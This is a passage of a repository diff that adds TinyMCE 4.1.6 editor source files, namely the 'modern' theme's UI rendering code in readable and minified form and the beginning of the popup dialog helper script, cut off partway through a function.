+				classes: "toolbar-grp",
+				ariaRoot: true,
+				ariaRemember: true,
+				items: toolbars
+			};
+		}
+	}
+
+	/**
+	 * Creates the menu buttons based on config.
+	 *
+	 * @return {Array} Menu buttons array.
+	 */
+	function createMenuButtons() {
+		var name, menuButtons = [];
+
+		function createMenuItem(name) {
+			var menuItem;
+
+			if (name == '|') {
+				return {text: '|'};
+			}
+
+			menuItem = editor.menuItems[name];
+
+			return menuItem;
+		}
+
+		function createMenu(context) {
+			var menuButton, menu, menuItems, isUserDefined, removedMenuItems;
+
+			removedMenuItems = tinymce.makeMap((settings.removed_menuitems || '').split(/[ ,]/));
+
+			// User defined menu
+			if (settings.menu) {
+				menu = settings.menu[context];
+				isUserDefined = true;
+			} else {
+				menu = defaultMenus[context];
+			}
+
+			if (menu) {
+				menuButton = {text: menu.title};
+				menuItems = [];
+
+				// Default/user defined items
+				each((menu.items || '').split(/[ ,]/), function(item) {
+					var menuItem = createMenuItem(item);
+
+					if (menuItem && !removedMenuItems[item]) {
+						menuItems.push(createMenuItem(item));
+					}
+				});
+
+				// Added though context
+				if (!isUserDefined) {
+					each(editor.menuItems, function(menuItem) {
+						if (menuItem.context == context) {
+							if (menuItem.separator == 'before') {
+								menuItems.push({text: '|'});
+							}
+
+							if (menuItem.prependToContext) {
+								menuItems.unshift(menuItem);
+							} else {
+								menuItems.push(menuItem);
+							}
+
+							if (menuItem.separator == 'after') {
+								menuItems.push({text: '|'});
+							}
+						}
+					});
+				}
+
+				for (var i = 0; i < menuItems.length; i++) {
+					if (menuItems[i].text == '|') {
+						if (i === 0 || i == menuItems.length - 1) {
+							menuItems.splice(i, 1);
+						}
+					}
+				}
+
+				menuButton.menu = menuItems;
+
+				if (!menuButton.menu.length) {
+					return null;
+				}
+			}
+
+			return menuButton;
+		}
+
+		var defaultMenuBar = [];
+		if (settings.menu) {
+			for (name in settings.menu) {
+				defaultMenuBar.push(name);
+			}
+		} else {
+			for (name in defaultMenus) {
+				defaultMenuBar.push(name);
+			}
+		}
+
+		var enabledMenuNames = typeof(settings.menubar) == "string" ? settings.menubar.split(/[ ,]/) : defaultMenuBar;
+		for (var i = 0; i < enabledMenuNames.length; i++) {
+			var menu = enabledMenuNames[i];
+			menu = createMenu(menu);
+
+			if (menu) {
+				menuButtons.push(menu);
+			}
+		}
+
+		return menuButtons;
+	}
+
+	/**
+	 * Adds accessibility shortcut keys to panel.
+	 *
+	 * @param {tinymce.ui.Panel} panel Panel to add focus to.
+	 */
+	function addAccessibilityKeys(panel) {
+		function focus(type) {
+			var item = panel.find(type)[0];
+
+			if (item) {
+				item.focus(true);
+			}
+		}
+
+		editor.shortcuts.add('Alt+F9', '', function() {
+			focus('menubar');
+		});
+
+		editor.shortcuts.add('Alt+F10', '', function() {
+			focus('toolbar');
+		});
+
+		editor.shortcuts.add('Alt+F11', '', function() {
+			focus('elementpath');
+		});
+
+		panel.on('cancel', function() {
+			editor.focus();
+		});
+	}
+
+	/**
+	 * Resizes the editor to the specified width, height.
+	 */
+	function resizeTo(width, height) {
+		var containerElm, iframeElm, containerSize, iframeSize;
+
+		function getSize(elm) {
+			return {
+				width: elm.clientWidth,
+				height: elm.clientHeight
+			};
+		}
+
+		containerElm = editor.getContainer();
+		iframeElm = editor.getContentAreaContainer().firstChild;
+		containerSize = getSize(containerElm);
+		iframeSize = getSize(iframeElm);
+
+		if (width !== null) {
+			width = Math.max(settings.min_width || 100, width);
+			width = Math.min(settings.max_width || 0xFFFF, width);
+
+			DOM.setStyle(containerElm, 'width', width + (containerSize.width - iframeSize.width));
+			DOM.setStyle(iframeElm, 'width', width);
+		}
+
+		height = Math.max(settings.min_height || 100, height);
+		height = Math.min(settings.max_height || 0xFFFF, height);
+		DOM.setStyle(iframeElm, 'height', height);
+
+		editor.fire('ResizeEditor');
+	}
+
+	function resizeBy(dw, dh) {
+		var elm = editor.getContentAreaContainer();
+		self.resizeTo(elm.clientWidth + dw, elm.clientHeight + dh);
+	}
+
+	/**
+	 * Renders the inline editor UI.
+	 *
+	 * @return {Object} Name/value object with theme data.
+	 */
+	function renderInlineUI(args) {
+		var panel, inlineToolbarContainer;
+
+		if (settings.fixed_toolbar_container) {
+			inlineToolbarContainer = DOM.select(settings.fixed_toolbar_container)[0];
+		}
+
+		function reposition() {
+			if (panel && panel.moveRel && panel.visible() && !panel._fixed) {
+				// TODO: This is kind of ugly and doesn't handle multiple scrollable elements
+				var scrollContainer = editor.selection.getScrollContainer(), body = editor.getBody();
+				var deltaX = 0, deltaY = 0;
+
+				if (scrollContainer) {
+					var bodyPos = DOM.getPos(body), scrollContainerPos = DOM.getPos(scrollContainer);
+
+					deltaX = Math.max(0, scrollContainerPos.x - bodyPos.x);
+					deltaY = Math.max(0, scrollContainerPos.y - bodyPos.y);
+				}
+
+				panel.fixed(false).moveRel(body, editor.rtl ? ['tr-br', 'br-tr'] : ['tl-bl', 'bl-tl', 'tr-br']).moveBy(deltaX, deltaY);
+			}
+		}
+
+		function show() {
+			if (panel) {
+				panel.show();
+				reposition();
+				DOM.addClass(editor.getBody(), 'mce-edit-focus');
+			}
+		}
+
+		function hide() {
+			if (panel) {
+				panel.hide();
+				DOM.removeClass(editor.getBody(), 'mce-edit-focus');
+			}
+		}
+
+		function render() {
+			if (panel) {
+				if (!panel.visible()) {
+					show();
+				}
+
+				return;
+			}
+
+			// Render a plain panel inside the inlineToolbarContainer if it's defined
+			panel = self.panel = Factory.create({
+				type: inlineToolbarContainer ? 'panel' : 'floatpanel',
+				role: 'application',
+				classes: 'tinymce tinymce-inline',
+				layout: 'flex',
+				direction: 'column',
+				align: 'stretch',
+				autohide: false,
+				autofix: true,
+				fixed: !!inlineToolbarContainer,
+				border: 1,
+				items: [
+					settings.menubar === false ? null : {type: 'menubar', border: '0 0 1 0', items: createMenuButtons()},
+					createToolbars()
+				]
+			});
+
+			// Add statusbar
+			/*if (settings.statusbar !== false) {
+				panel.add({type: 'panel', classes: 'statusbar', layout: 'flow', border: '1 0 0 0', items: [
+					{type: 'elementpath'}
+				]});
+			}*/
+
+			editor.fire('BeforeRenderUI');
+			panel.renderTo(inlineToolbarContainer || document.body).reflow();
+
+			addAccessibilityKeys(panel);
+			show();
+
+			editor.on('nodeChange', reposition);
+			editor.on('activate', show);
+			editor.on('deactivate', hide);
+
+			editor.nodeChanged();
+		}
+
+		settings.content_editable = true;
+
+		editor.on('focus', function() {
+			// Render only when the CSS file has been loaded
+			if (args.skinUiCss) {
+				tinymce.DOM.styleSheetLoader.load(args.skinUiCss, render, render);
+			} else {
+				render();
+			}
+		});
+
+		editor.on('blur hide', hide);
+
+		// Remove the panel when the editor is removed
+		editor.on('remove', function() {
+			if (panel) {
+				panel.remove();
+				panel = null;
+			}
+		});
+
+		// Preload skin css
+		if (args.skinUiCss) {
+			tinymce.DOM.styleSheetLoader.load(args.skinUiCss);
+		}
+
+		return {};
+	}
+
+	/**
+	 * Renders the iframe editor UI.
+	 *
+	 * @param {Object} args Details about target element etc.
+	 * @return {Object} Name/value object with theme data.
+	 */
+	function renderIframeUI(args) {
+		var panel, resizeHandleCtrl, startSize;
+
+		if (args.skinUiCss) {
+			tinymce.DOM.loadCSS(args.skinUiCss);
+		}
+
+		// Basic UI layout
+		panel = self.panel = Factory.create({
+			type: 'panel',
+			role: 'application',
+			classes: 'tinymce',
+			style: 'visibility: hidden',
+			layout: 'stack',
+			border: 1,
+			items: [
+				settings.menubar === false ? null : {type: 'menubar', border: '0 0 1 0', items: createMenuButtons()},
+				createToolbars(),
+				{type: 'panel', name: 'iframe', layout: 'stack', classes: 'edit-area', html: '', border: '1 0 0 0'}
+			]
+		});
+
+		if (settings.resize !== false) {
+			resizeHandleCtrl = {
+				type: 'resizehandle',
+				direction: settings.resize,
+
+				onResizeStart: function() {
+					var elm = editor.getContentAreaContainer().firstChild;
+
+					startSize = {
+						width: elm.clientWidth,
+						height: elm.clientHeight
+					};
+				},
+
+				onResize: function(e) {
+					if (settings.resize == 'both') {
+						resizeTo(startSize.width + e.deltaX, startSize.height + e.deltaY);
+					} else {
+						resizeTo(null, startSize.height + e.deltaY);
+					}
+				}
+			};
+		}
+
+		// Add statusbar if needed
+		if (settings.statusbar !== false) {
+			panel.add({type: 'panel', name: 'statusbar', classes: 'statusbar', layout: 'flow', border: '1 0 0 0', ariaRoot: true, items: [
+				{type: 'elementpath'},
+				resizeHandleCtrl
+			]});
+		}
+
+		if (settings.readonly) {
+			panel.find('*').disabled(true);
+		}
+
+		editor.fire('BeforeRenderUI');
+		panel.renderBefore(args.targetNode).reflow();
+
+		if (settings.width) {
+			tinymce.DOM.setStyle(panel.getEl(), 'width', settings.width);
+		}
+
+		// Remove the panel when the editor is removed
+		editor.on('remove', function() {
+			panel.remove();
+			panel = null;
+		});
+
+		// Add accesibility shortkuts
+		addAccessibilityKeys(panel);
+
+		return {
+			iframeContainer: panel.find('#iframe')[0].getEl(),
+			editorContainer: panel.getEl()
+		};
+	}
+
+	/**
+	 * Renders the UI for the theme. This gets called by the editor.
+	 *
+	 * @param {Object} args Details about target element etc.
+	 * @return {Object} Theme UI data items.
+	 */
+	self.renderUI = function(args) {
+		var skin = settings.skin !== false ? settings.skin || 'lightgray' : false;
+
+		if (skin) {
+			var skinUrl = settings.skin_url;
+
+			if (skinUrl) {
+				skinUrl = editor.documentBaseURI.toAbsolute(skinUrl);
+			} else {
+				skinUrl = tinymce.baseURL + '/skins/' + skin;
+			}
+
+			// Load special skin for IE7
+			// TODO: Remove this when we drop IE7 support
+			if (tinymce.Env.documentMode <= 7) {
+				args.skinUiCss = skinUrl + '/skin.ie7.min.css';
+			} else {
+				args.skinUiCss = skinUrl + '/skin.min.css';
+			}
+
+			// Load content.min.css or content.inline.min.css
+			editor.contentCSS.push(skinUrl + '/content' + (editor.inline ? '.inline' : '') + '.min.css');
+		}
+
+		// Handle editor setProgressState change
+		editor.on('ProgressState', function(e) {
+			self.throbber = self.throbber || new tinymce.ui.Throbber(self.panel.getEl('body'));
+
+			if (e.state) {
+				self.throbber.show(e.time);
+			} else {
+				self.throbber.hide();
+			}
+		});
+
+		if (settings.inline) {
+			return renderInlineUI(args);
+		}
+
+		return renderIframeUI(args);
+	};
+
+	self.resizeTo = resizeTo;
+	self.resizeBy = resizeBy;
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/themes/modern/theme.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/themes/modern/theme.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/themes/modern/theme.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.ThemeManager.add("modern",function(a){function b(){function b(b){var d,e=[];if(b)return l(b.split(/[ ,]/),function(b){function c(){var c=a.selection;"bullist"==f&&c.selectorChanged("ul > li",function(a,c){for(var d,e=c.parents.length;e--&&(d=c.parents[e].nodeName,"OL"!=d&&"UL"!=d););b.active(a&&"UL"==d)}),"numlist"==f&&c.selectorChanged("ol > li",function(a,c){for(var d,e=c.parents.length;e--&&(d=c.parents[e].nodeName,"OL"!=d&&"UL"!=d););b.active(a&&"OL"==d)}),b.settings.stateSelector&&c.selectorChanged(b.settings.stateSelector,function(a){b.active(a)},!0),b.settings.disabledStateSelector&&c.selectorChanged(b.settings.disabledStateSelector,function(a){b.disabled(a)})}var f;"|"==b?d=null:k.has(b)?(b={type:b},j.toolbar_items_size&&(b.size=j.toolbar_items_size),e.push(b),d=null):(d||(d={type:"buttongroup",items:[]},e.push(d)),a.buttons[b]&&(f=b,b=a.buttons[f],"function"==typeof b&&(b=b()),b.type=b.type||"button",j.toolbar_items_size&&(b.size=j.toolbar_items_size),b=k.create(b),d.items.push(b),a.initialized?c():a.on("init",c)))}),c.push({type:"toolbar",layout:"flow",items:e}),!0}var c=[];if(tinymce.isArray(j.toolbar)){if(0===j.toolbar.length)return;tinymce.each(j.toolbar,function(a,b){j["toolbar"+(b+1)]=a}),delete j.toolbar}for(var d=1;10>d&&b(j["toolbar"+d]);d++);return c.length||j.toolbar===!1||b(j.toolbar||o),c.length?{type:"panel",layout:"stack",classes:"toolbar-grp",ariaRoot:!0,ariaRemember:!0,items:c}:void 0}function c(){function b(b){var c;return"|"==b?{text:"|"}:c=a.menuItems[b]}function c(c){var d,e,f,g,h;if(h=tinymce.makeMap((j.removed_menuitems||"").split(/[ ,]/)),j.menu?(e=j.menu[c],g=!0):e=n[c],e){d={text:e.title},f=[],l((e.items||"").split(/[ ,]/),function(a){var c=b(a);c&&!h[a]&&f.push(b(a))}),g||l(a.menuItems,function(a){a.context==c&&("before"==a.separator&&f.push({text:"|"}),a.prependToContext?f.unshift(a):f.push(a),"after"==a.separator&&f.push({text:"|"}))});for(var i=0;i<f.length;i++)"|"==f[i].text&&(0===i||i==f.length-1)&&f.splice(i,1);if(d.menu=f,!d.menu.length)return null}return d}var d,e=[],f=[];if(j.menu)for(d in j.menu)f.push(d);else for(d in n)f.push(d);for(var g="string"==typeof j.menubar?j.menubar.split(/[ ,]/):f,h=0;h<g.length;h++){var i=g[h];i=c(i),i&&e.push(i)}return e}function d(b){function c(a){var c=b.find(a)[0];c&&c.focus(!0)}a.shortcuts.add("Alt+F9","",function(){c("menubar")}),a.shortcuts.add("Alt+F10","",function(){c("toolbar")}),a.shortcuts.add("Alt+F11","",function(){c("elementpath")}),b.on("cancel",function(){a.focus()})}function e(b,c){function d(a){return{width:a.clientWidth,height:a.clientHeight}}var e,f,g,h;e=a.getContainer(),f=a.getContentAreaContainer().firstChild,g=d(e),h=d(f),null!==b&&(b=Math.max(j.min_width||100,b),b=Math.min(j.max_width||65535,b),m.setStyle(e,"width",b+(g.width-h.width)),m.setStyle(f,"width",b)),c=Math.max(j.min_height||100,c),c=Math.min(j.max_height||65535,c),m.setStyle(f,"height",c),a.fire("ResizeEditor")}function f(b,c){var d=a.getContentAreaContainer();i.resizeTo(d.clientWidth+b,d.clientHeight+c)}function g(e){function f(){if(n&&n.moveRel&&n.visible()&&!n._fixed){var b=a.selection.getScrollContainer(),c=a.getBody(),d=0,e=0;if(b){var f=m.getPos(c),g=m.getPos(b);d=Math.max(0,g.x-f.x),e=Math.max(0,g.y-f.y)}n.fixed(!1).moveRel(c,a.rtl?["tr-br","br-tr"]:["tl-bl","bl-tl","tr-br"]).moveBy(d,e)}}function g(){n&&(n.show(),f(),m.addClass(a.getBody(),"mce-edit-focus"))}function h(){n&&(n.hide(),m.removeClass(a.getBody(),"mce-edit-focus"))}function l(){return n?void(n.visible()||g()):(n=i.panel=k.create({type:o?"panel":"floatpanel",role:"application",classes:"tinymce tinymce-inline",layout:"flex",direction:"column",align:"stretch",autohide:!1,autofix:!0,fixed:!!o,border:1,items:[j.menubar===!1?null:{type:"menubar",border:"0 0 1 0",items:c()},b()]}),a.fire("BeforeRenderUI"),n.renderTo(o||document.body).reflow(),d(n),g(),a.on("nodeChange",f),a.on("activate",g),a.on("deactivate",h),void a.nodeChanged())}var n,o;return j.fixed_toolbar_container&&(o=m.select(j.fixed_toolbar_container)[0]),j.content_editable=!0,a.on("focus",function(){e.skinUiCss?tinymce.DOM.styleSheetLoader.load(e.skinUiCss,l,l):l()}),a.on("blur hide",h),a.on("remove",function(){n&&(n.remove(),n=null)}),e.skinUiCss&&tinymce.DOM.styleSheetLoader.load(e.skinUiCss),{}}function h(f){var g,h,l;return f.skinUiCss&&tinymce.DOM.loadCSS(f.skinUiCss),g=i.panel=k.create({type:"panel",role:"application",classes:"tinymce",style:"visibility: hidden",layout:"stack",border:1,items:[j.menubar===!1?null:{type:"menubar",border:"0 0 1 0",items:c()},b(),{type:"panel",name:"iframe",layout:"stack",classes:"edit-area",html:"",border:"1 0 0 0"}]}),j.resize!==!1&&(h={type:"resizehandle",direction:j.resize,onResizeStart:function(){var b=a.getContentAreaContainer().firstChild;l={width:b.clientWidth,height:b.clientHeight}},onResize:function(a){"both"==j.resize?e(l.width+a.deltaX,l.height+a.deltaY):e(null,l.height+a.deltaY)}}),j.statusbar!==!1&&g.add({type:"panel",name:"statusbar",classes:"statusbar",layout:"flow",border:"1 0 0 0",ariaRoot:!0,items:[{type:"elementpath"},h]}),j.readonly&&g.find("*").disabled(!0),a.fire("BeforeRenderUI"),g.renderBefore(f.targetNode).reflow(),j.width&&tinymce.DOM.setStyle(g.getEl(),"width",j.width),a.on("remove",function(){g.remove(),g=null}),d(g),{iframeContainer:g.find("#iframe")[0].getEl(),editorContainer:g.getEl()}}var i=this,j=a.settings,k=tinymce.ui.Factory,l=tinymce.each,m=tinymce.DOM,n={file:{title:"File",items:"newdocument"},edit:{title:"Edit",items:"undo redo | cut copy paste pastetext | selectall"},insert:{title:"Insert",items:"|"},view:{title:"View",items:"visualaid |"},format:{title:"Format",items:"bold italic underline strikethrough superscript subscript | formats | removeformat"},table:{title:"Table"},tools:{title:"Tools"}},o="undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image";i.renderUI=function(b){var c=j.skin!==!1?j.skin||"lightgray":!1;if(c){var d=j.skin_url;d=d?a.documentBaseURI.toAbsolute(d):tinymce.baseURL+"/skins/"+c,b.skinUiCss=tinymce.Env.documentMode<=7?d+"/skin.ie7.min.css":d+"/skin.min.css",a.contentCSS.push(d+"/content"+(a.inline?".inline":"")+".min.css")}return a.on("ProgressState",function(a){i.throbber=i.throbber||new tinymce.ui.Throbber(i.panel.getEl("body")),a.state?i.throbber.show(a.time):i.throbber.hide()}),j.inline?g(b):h(b)},i.resizeTo=e,i.resizeBy=f});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/tiny_mce_popup.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/tiny_mce_popup.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/tiny_mce_popup.js	(revision 33402)
@@ -0,0 +1,542 @@
+/**
+ * Popup.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+var tinymce, tinyMCE;
+
+/**
+ * TinyMCE popup/dialog helper class. This gives you easy access to the
+ * parent editor instance and a bunch of other things. It's higly recommended
+ * that you load this script into your dialogs.
+ *
+ * @static
+ * @class tinyMCEPopup
+ */
+var tinyMCEPopup = {
+	/**
+	 * Initializes the popup this will be called automatically.
+	 *
+	 * @method init
+	 */
+	init: function() {
+		var self = this, parentWin, settings, uiWindow;
+
+		// Find window & API
+		parentWin = self.getWin();
+		tinymce = tinyMCE = parentWin.tinymce;
+		self.editor = tinymce.EditorManager.activeEditor;
+		self.params = self.editor.windowManager.getParams();
+
+		uiWindow = self.editor.windowManager.windows[self.editor.windowManager.windows.length - 1];
+		self.features = uiWindow.features;
+		self.uiWindow = uiWindow;
+
+		settings = self.editor.settings;
+
+		// Setup popup CSS path(s)
+		if (settings.popup_css !== false) {
+			if (settings.popup_css) {
+				settings.popup_css = self.editor.documentBaseURI.toAbsolute(settings.popup_css);
+			} else {
+				settings.popup_css = self.editor.baseURI.toAbsolute("plugins/compat3x/css/dialog.css");
+			}
+		}
+
+		if (settings.popup_css_add) {
+			settings.popup_css += ',' + self.editor.documentBaseURI.toAbsolute(settings.popup_css_add);
+		}
+
+		// Setup local DOM
+		self.dom = self.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document, {
+			ownEvents: true,
+			proxy: tinyMCEPopup._eventProxy
+		});
+
+		self.dom.bind(window, 'ready', self._onDOMLoaded, self);
+
+		// Enables you to skip loading the default css
+		if (self.features.popup_css !== false) {
+			self.dom.loadCSS(self.features.popup_css || self.editor.settings.popup_css);
+		}
+
+		// Setup on init listeners
+		self.listeners = [];
+
+		/**
+		 * Fires when the popup is initialized.
+		 *
+		 * @event onInit
+		 * @param {tinymce.Editor} editor Editor instance.
+		 * @example
+		 * // Alerts the selected contents when the dialog is loaded
+		 * tinyMCEPopup.onInit.add(function(ed) {
+		 *     alert(ed.selection.getContent());
+		 * });
+		 * 
+		 * // Executes the init method on page load in some object using the SomeObject scope
+		 * tinyMCEPopup.onInit.add(SomeObject.init, SomeObject);
+		 */
+		self.onInit = {
+			add: function(func, scope) {
+				self.listeners.push({func : func, scope : scope});
+			}
+		};
+
+		self.isWindow = !self.getWindowArg('mce_inline');
+		self.id = self.getWindowArg('mce_window_id');
+	},
+
+	/**
+	 * Returns the reference to the parent window that opened the dialog.
+	 *
+	 * @method getWin
+	 * @return {Window} Reference to the parent window that opened the dialog.
+	 */
+	getWin: function() {
+		// Added frameElement check to fix bug: #2817583
+		return (!window.frameElement && window.dialogArguments) || opener || parent || top;
+	},
+
+	/**
+	 * Returns a window argument/parameter by name.
+	 *
+	 * @method getWindowArg
+	 * @param {String} name Name of the window argument to retrive.
+	 * @param {String} defaultValue Optional default value to return.
+	 * @return {String} Argument value or default value if it wasn't found.
+	 */
+	getWindowArg : function(name, defaultValue) {
+		var value = this.params[name];
+
+		return tinymce.is(value) ? value : defaultValue;
+	},
+
+	/**
+	 * Returns a editor parameter/config option value.
+	 *
+	 * @method getParam
+	 * @param {String} name Name of the editor config option to retrive.
+	 * @param {String} defaultValue Optional default value to return.
+	 * @return {String} Parameter value or default value if it wasn't found.
+	 */
+	getParam : function(name, defaultValue) {
+		return this.editor.getParam(name, defaultValue);
+	},
+
+	/**
+	 * Returns a language item by key.
+	 *
+	 * @method getLang
+	 * @param {String} name Language item like mydialog.something.
+	 * @param {String} defaultValue Optional default value to return.
+	 * @return {String} Language value for the item like "my string" or the default value if it wasn't found.
+	 */
+	getLang : function(name, defaultValue) {
+		return this.editor.getLang(name, defaultValue);
+	},
+
+	/**
+	 * Executed a command on editor that opened the dialog/popup.
+	 *
+	 * @method execCommand
+	 * @param {String} cmd Command to execute.
+	 * @param {Boolean} ui Optional boolean value if the UI for the command should be presented or not.
+	 * @param {Object} val Optional value to pass with the comman like an URL.
+	 * @param {Object} a Optional arguments object.
+	 */
+	execCommand : function(cmd, ui, val, args) {
+		args = args || {};
+		args.skip_focus = 1;
+
+		this.restoreSelection();
+		return this.editor.execCommand(cmd, ui, val, args);
+	},
+
+	/**
+	 * Resizes the dialog to the inner size of the window. This is needed since various browsers
+	 * have different border sizes on windows.
+	 *
+	 * @method resizeToInnerSize
+	 */
+	resizeToInnerSize : function() {
+		/*var self = this;
+
+		// Detach it to workaround a Chrome specific bug
+		// https://sourceforge.net/tracker/?func=detail&atid=635682&aid=2926339&group_id=103281
+		setTimeout(function() {
+			var vp = self.dom.getViewPort(window);
+
+			self.editor.windowManager.resizeBy(
+				self.getWindowArg('mce_width') - vp.w,
+				self.getWindowArg('mce_height') - vp.h,
+				self.id || window
+			);
+		}, 10);*/
+	},
+
+	/**
+	 * Will executed the specified string when the page has been loaded. This function
+	 * was added for compatibility with the 2.x branch.
+	 *
+	 * @method executeOnLoad
+	 * @param {String} evil String to evalutate on init.
+	 */
+	executeOnLoad : function(evil) {
+		this.onInit.add(function() {
+			eval(evil);
+		});
+	},
+
+	/**
+	 * Stores the current editor selection for later restoration. This can be useful since some browsers
+	 * looses it's selection if a control element is selected/focused inside the dialogs.
+	 *
+	 * @method storeSelection
+	 */
+	storeSelection : function() {
+		this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark(1);
+	},
+
+	/**
+	 * Restores any stored selection. This can be useful since some browsers
+	 * looses it's selection if a control element is selected/focused inside the dialogs.
+	 *
+	 * @method restoreSelection
+	 */
+	restoreSelection : function() {
+		var self = tinyMCEPopup;
+
+		if (!self.isWindow && tinymce.isIE) {
+			self.editor.selection.moveToBookmark(self.editor.windowManager.bookmark);
+		}
+	},
+
+	/**
+	 * Loads a specific dialog language pack. If you pass in plugin_url as a argument
+	 * when you open the window it will load the <plugin url>/langs/<code>_dlg.js lang pack file.
+	 *
+	 * @method requireLangPack
+	 */
+	requireLangPack : function() {
+		var self = this, url = self.getWindowArg('plugin_url') || self.getWindowArg('theme_url'), settings = self.editor.settings, lang;
+
+		if (settings.language !== false) {
+			lang = settings.language || "en";
+		}
+
+		if (url && lang && self.features.translate_i18n !== false && settings.language_load !== false) {
+			url += '/langs/' + lang + '_dlg.js';
+
+			if (!tinymce.ScriptLoader.isDone(url)) {
+				document.write('<script type="text/javascript" src="' + url + '"></script>');
+				tinymce.ScriptLoader.markDone(url);
+			}
+		}
+	},
+
+	/**
+	 * Executes a color picker on the specified element id. When the user
+	 * then selects a color it will be set as the value of the specified element.
+	 *
+	 * @method pickColor
+	 * @param {DOMEvent} e DOM event object.
+	 * @param {string} element_id Element id to be filled with the color value from the picker.
+	 */
+	pickColor : function(e, element_id) {
+		var el = document.getElementById(element_id), colorPickerCallback = this.editor.settings.color_picker_callback;
+		if (colorPickerCallback) {
+			colorPickerCallback.call(
+				this.editor,
+				function (value) {
+					el.value = value;
+					try {
+						el.onchange();
+					} catch (ex) {
+						// Try fire event, ignore errors
+					}
+				},
+				el.value
+			);
+		}
+	},
+
+	/**
+	 * Opens a filebrowser/imagebrowser this will set the output value from
+	 * the browser as a value on the specified element.
+	 *
+	 * @method openBrowser
+	 * @param {string} element_id Id of the element to set value in.
+	 * @param {string} type Type of browser to open image/file/flash.
+	 * @param {string} option Option name to get the file_broswer_callback function name from.
+	 */
+	openBrowser : function(element_id, type) {
+		tinyMCEPopup.restoreSelection();
+		this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window);
+	},
+
+	/**
+	 * Creates a confirm dialog. Please don't use the blocking behavior of this
+	 * native version use the callback method instead then it can be extended.
+	 *
+	 * @method confirm
+	 * @param {String} t Title for the new confirm dialog.
+	 * @param {function} cb Callback function to be executed after the user has selected ok or cancel.
+	 * @param {Object} s Optional scope to execute the callback in.
+	 */
+	confirm : function(t, cb, s) {
+		this.editor.windowManager.confirm(t, cb, s, window);
+	},
+
+	/**
+	 * Creates a alert dialog. Please don't use the blocking behavior of this
+	 * native version use the callback method instead then it can be extended.
+	 *
+	 * @method alert
+	 * @param {String} tx Title for the new alert dialog.
+	 * @param {function} cb Callback function to be executed after the user has selected ok.
+	 * @param {Object} s Optional scope to execute the callback in.
+	 */
+	alert : function(tx, cb, s) {
+		this.editor.windowManager.alert(tx, cb, s, window);
+	},
+
+	/**
+	 * Closes the current window.
+	 *
+	 * @method close
+	 */
+	close : function() {
+		var t = this;
+
+		// To avoid domain relaxing issue in Opera
+		function close() {
+			t.editor.windowManager.close(window);
+			tinymce = tinyMCE = t.editor = t.params = t.dom = t.dom.doc = null; // Cleanup
+		}
+
+		if (tinymce.isOpera) {
+			t.getWin().setTimeout(close, 0);
+		} else {
+			close();
+		}
+	},
+
+	// Internal functions	
+
+	_restoreSelection : function() {
+		var e = window.event.srcElement;
+
+		if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button')) {
+			tinyMCEPopup.restoreSelection();
+		}
+	},
+
+/*	_restoreSelection : function() {
+		var e = window.event.srcElement;
+
+		// If user focus a non text input or textarea
+		if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text')
+			tinyMCEPopup.restoreSelection();
+	},*/
+
+	_onDOMLoaded : function() {
+		var t = tinyMCEPopup, ti = document.title, h, nv;
+
+		// Translate page
+		if (t.features.translate_i18n !== false) {
+			var map = {
+				"update": "Ok",
+				"insert": "Ok",
+				"cancel": "Cancel",
+				"not_set": "--",
+				"class_name": "Class name",
+				"browse": "Browse"
+			};
+
+			var langCode = tinymce.settings.language || 'en';
+			for (var key in map) {
+				tinymce.i18n.data[langCode + "." + key] = tinymce.i18n.translate(map[key]);
+			}
+
+			h = document.body.innerHTML;
+
+			// Replace a=x with a="x" in IE
+			if (tinymce.isIE) {
+				h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"');
+			}
+
+			document.dir = t.editor.getParam('directionality','');
+
+			if ((nv = t.editor.translate(h)) && nv != h) {
+				document.body.innerHTML = nv;
+			}
+
+			if ((nv = t.editor.translate(ti)) && nv != ti) {
+				document.title = ti = nv;
+			}
+		}
+
+		if (!t.editor.getParam('browser_preferred_colors', false) || !t.isWindow) {
+			t.dom.addClass(document.body, 'forceColors');
+		}
+
+		document.body.style.display = '';
+
+		// Restore selection in IE when focus is placed on a non textarea or input element of the type text
+		if (tinymce.Env.ie) {
+			if (tinymce.Env.ie < 11) {
+				document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection);
+
+				// Add base target element for it since it would fail with modal dialogs
+				t.dom.add(t.dom.select('head')[0], 'base', {target: '_self'});
+			} else {
+				document.addEventListener('mouseup', tinyMCEPopup._restoreSelection, false);
+			}
+		}
+
+		t.restoreSelection();
+		t.resizeToInnerSize();
+
+		// Set inline title
+		if (!t.isWindow) {
+			t.editor.windowManager.setTitle(window, ti);
+		} else {
+			window.focus();
+		}
+
+		if (!tinymce.isIE && !t.isWindow) {
+			t.dom.bind(document, 'focus', function() {
+				t.editor.windowManager.focus(t.id);
+			});
+		}
+
+		// Patch for accessibility
+		tinymce.each(t.dom.select('select'), function(e) {
+			e.onkeydown = tinyMCEPopup._accessHandler;
+		});
+
+		// Call onInit
+		// Init must be called before focus so the selection won't get lost by the focus call
+		tinymce.each(t.listeners, function(o) {
+			o.func.call(o.scope, t.editor);
+		});
+
+		// Move focus to window
+		if (t.getWindowArg('mce_auto_focus', true)) {
+			window.focus();
+
+			// Focus element with mceFocus class
+			tinymce.each(document.forms, function(f) {
+				tinymce.each(f.elements, function(e) {
+					if (t.dom.hasClass(e, 'mceFocus') && !e.disabled) {
+						e.focus();
+						return false; // Break loop
+					}
+				});
+			});
+		}
+
+		document.onkeyup = tinyMCEPopup._closeWinKeyHandler;
+
+		if ('textContent' in document) {
+			t.uiWindow.getEl('head').firstChild.textContent = document.title;
